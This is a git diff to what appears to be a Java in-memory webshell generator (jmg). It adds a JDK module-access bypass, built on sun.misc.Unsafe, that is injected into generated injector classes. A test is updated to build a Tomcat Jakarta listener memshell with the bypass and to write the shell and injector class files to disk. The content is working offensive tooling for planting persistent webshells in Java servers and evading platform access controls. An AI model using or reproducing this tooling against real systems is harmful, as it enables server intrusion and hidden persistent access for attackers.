diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java index 0c5f668..6af778e 100644 --- a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java +++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java @@ -129,7 +129,15 @@ public class AbstractConfig { public String shellGzipBase64String; + public boolean isEnableBypassJDKModule() { + return enableBypassJDKModule; + } + public void setEnableBypassJDKModule(boolean enableBypassJDKModule) { + this.enableBypassJDKModule = enableBypassJDKModule; + } + + private boolean enableBypassJDKModule; public boolean isEnableDebug() { return enableDebug; } diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java index b316e4b..9deadcb 100644 --- a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java +++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java @@ -1,15 +1,10 @@ package jmg.core.generator; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; +import javassist.*; +import javassist.bytecode.AccessFlag; import jmg.core.config.AbstractConfig; import jmg.core.config.Constants; -import jmg.core.util.CommonUtil; -import jmg.core.util.CtClassUtil; -import jmg.core.util.InjectorUtil; -import jmg.core.util.JavassistUtil; +import jmg.core.util.*; /** @@ -62,6 +57,19 @@ public class InjectorGenerator { getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); } + if (config.isEnableBypassJDKModule()) { + // 添加 bypassJDKModule 方法 + CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass); + ctMethod.setModifiers(AccessFlag.PUBLIC); + ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody()); + ctClass.addMethod(ctMethod); + + // 添加 bypassJDKModule 调用 + CtConstructor constructor = ctClass.getConstructors()[0]; + constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers())); + constructor.insertBeforeBody("bypassJDKModule();"); + } + JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); JavassistUtil.removeSourceFileAttribute(ctClass); byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); diff --git a/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java b/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java new file mode 100644 index 0000000..58ed389 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java @@ -0,0 +1,23 @@ +package jmg.core.util; + + +// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk +public class JDKBypassUtil { + + public static String bypassJDKModuleBody() throws Exception { + return "{try {\n" + + " Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" + + " unsafeField.setAccessible(true);\n" + + " Object unsafe = unsafeField.get(null);\n" + + " java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" + + " Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" + + " java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" + + " Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" + + " getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" + + " } catch (Exception ignored) {\n" + + " }}"; + } +} diff --git a/jmg-sdk/src/test/java/SDKTest.java b/jmg-sdk/src/test/java/SDKTest.java index b309944..c057058 100644 --- a/jmg-sdk/src/test/java/SDKTest.java +++ b/jmg-sdk/src/test/java/SDKTest.java @@ -2,6 +2,7 @@ import jmg.core.config.AbstractConfig; import jmg.core.config.Constants; import jmg.sdk.jMGenerator; import jmg.sdk.util.SDKResultUtil; +import me.gv7.woodpecker.tools.common.FileUtil; /* 1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库 @@ -25,7 +26,7 @@ public class SDKTest { // 设置中间件 or 框架 setServerType(Constants.SERVER_TOMCAT); // 设置内存马类型 - setShellType(Constants.SHELL_LISTENER); + setShellType(Constants.SHELL_JAKARTA_LISTENER); // 设置输出格式为 BASE64 setOutputFormat(Constants.FORMAT_BASE64); // 设置漏洞利用封装,默认不启用 @@ -34,10 +35,16 @@ public class SDKTest { build(); }}; + // 绕过 JDK Module 访问限制 + config.setEnableBypassJDKModule(true); jMGenerator generator = new jMGenerator(config); generator.genPayload(); + + FileUtil.writeFile("shell.class",config.getShellBytes()); + FileUtil.writeFile("injector.class",config.getInjectorBytes()); generator.printPayload(); + // 连接信息 SDKResultUtil.printBasicInfo(config); SDKResultUtil.printDebugInfo(config);